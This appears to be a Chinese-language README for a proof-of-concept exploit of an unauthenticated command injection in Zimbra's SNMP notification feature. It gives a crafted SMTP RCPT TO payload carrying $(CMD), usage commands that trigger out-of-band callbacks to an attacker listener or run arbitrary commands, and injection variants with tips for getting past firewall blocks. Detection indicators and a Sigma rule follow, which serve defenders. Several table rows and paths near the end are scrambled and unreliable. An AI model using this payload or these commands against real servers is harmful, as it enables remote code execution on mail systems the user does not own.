针对 CVE-2026-73570 的概念验证漏洞利用程序,这是一个存在于 Zimbra Collaboration Suite < 10.1.20 中的未认证操作系统命令注入漏洞(CWE-78,CVSS 8.9),触发条件为已安装 zimbra-snmp 包且启用了 SNMP 通知。
免责声明: 本 PoC 仅用于授权的安全测试、防御性研究以及对自己系统的验证。请勿将其用于任何您不拥有或未获得明确书面测试许可的系统。
Zimbra 的 SNMP 通知功能使用 swatchdog 监控 /var/log/zimbra.log 中的服务事件。当日志行匹配其监视模式时,匹配到的文本会被插入到发送 SNMP 通知的 shell 命令中——未经任何净化处理。
攻击链:
1. 攻击者发送一个带有精心构造的 RCPT TO 地址的 SMTP 会话:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
本地部分是 RFC 5321 引号字符串,因此 Postfix 会接受该地址语法
(包括空格、冒号、$(...))。
2. Postfix 拒绝该收件人(中继被拒 / 用户未知 / 发件人限制),并将完整的
to=<...> 字符串(引号被剥离)写入 /var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog(zimbra-snmp)定期扫描日志并匹配其监视模式
"Service status change ... changed from ... to ..."。
4. 匹配到的文本被插入到 SNMP 通知 shell 命令中
-> $(CMD) 被求值 -> 以 `zimbra` 用户身份执行命令。
目标必须满足以下所有条件:
zimbra-snmp 包zmlocalconfig | grep -i snmp_notify)攻击方:Python 3(仅使用标准库,无依赖)。
# 1. 通过带外 DNS 回调验证 RCE(interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. 通过 HTTP 回调到您的监听器验证 RCE:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. 在主机上放置标记文件(之后在服务器上手动检查):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. 仅指纹识别(不发送载荷):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# 调试:打印完整的 SMTP 会话记录
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
选项:
脚本会以多种注入变体($(...)、反引号、;cmd;#、$({IFS}...))发送每条命令。对于每种变体,观察 RCPT 响应码:
| RCPT 响应 | 含义 |
|---|---|
250、450、454 Relay access denied、550 5.1.1 User unknown | 地址语法被接受——包含完整 to=<...> 字符串的拒绝行现已写入日志。载荷已植入。 |
然后在服务器上确认(如果您有访问权限):
# 注入的行必须存在:
grep 'Service status change' /var/log/zimbra.log | tail
# 预期:... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# 等待 1-5 分钟(swatchdog 定期扫描日志——执行并非实时),
# 然后检查效果:
ls -la /tmp/ # 如果您使用了 --cmd
# 或观察您的带外监听器是否有回调
如果日志行存在但命令从未执行,则剩余的前置条件在 swatchdog 一侧:检查该进程是否正在运行(ps aux | grep swatch),以及其配置是否确实监视 Service status change 模式。
执行上下文:命令以 zimbra 用户身份运行(非 root)。
fail2ban-client status、iptables -L -n | grep <your_ip>,并使用 tcpdump -i any port 25 and host <your_ip> -nn -A 确认数据包到达 Postfix。warning: Illegal address syntax ... in RCPT command: ...,而不是 NOQUEUE: reject 行。请改为按您的攻击者 IP 进行 grep。成功利用的关键指标:
/var/log/zimbra.log 中 Postfix 拒绝行内的 to=<*: Service status change: *$(...)*——几乎零误报,因为 Service status change 文本绝不会合法地出现在 to=<> 地址内。swatchdog / swatch 子进程生成的 shell 或命令解释器(sh、bash、curl、wget、nc、python、perl)。/opt/zimbra/jetty/webapps/ 或 下出现新的 / 文件, 中出现意外文件, 用户出现新的 cron 条目或 SSH 密钥,以及邮件服务器出现不符合正常邮件流量的出站连接。示例 Sigma 规则(尝试阶段):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp 包。| 标志 | 描述 |
|---|
-t, --target | 目标 Zimbra SMTP IP/主机名(必填) |
-p, --port | SMTP 端口(默认:25) |
--tls | 使用 STARTTLS(例如端口 587) |
--oob | 带外 DNS 域名或 HTTP 回调 URL(推荐) |
--cmd | 使用任意命令代替带外回调 |
--fake-host | 伪造的 Service status change 字符串中的主机名(默认:localhost) |
--check-only | 仅指纹识别,不发送任何载荷 |
--delay | 发送之间的延迟秒数(默认:1.0) |
--debug | 打印完整的 SMTP 会话记录 |
501 5.1.3 Bad recipient address syntax |
| Postfix 在解析时拒绝了该地址——没有记录任何有用信息。脚本会自动使用未加引号的回退方案重试。 |
/opt/zimbra/jetty_base/webapps/.jsp.jspx/tmp/zimbra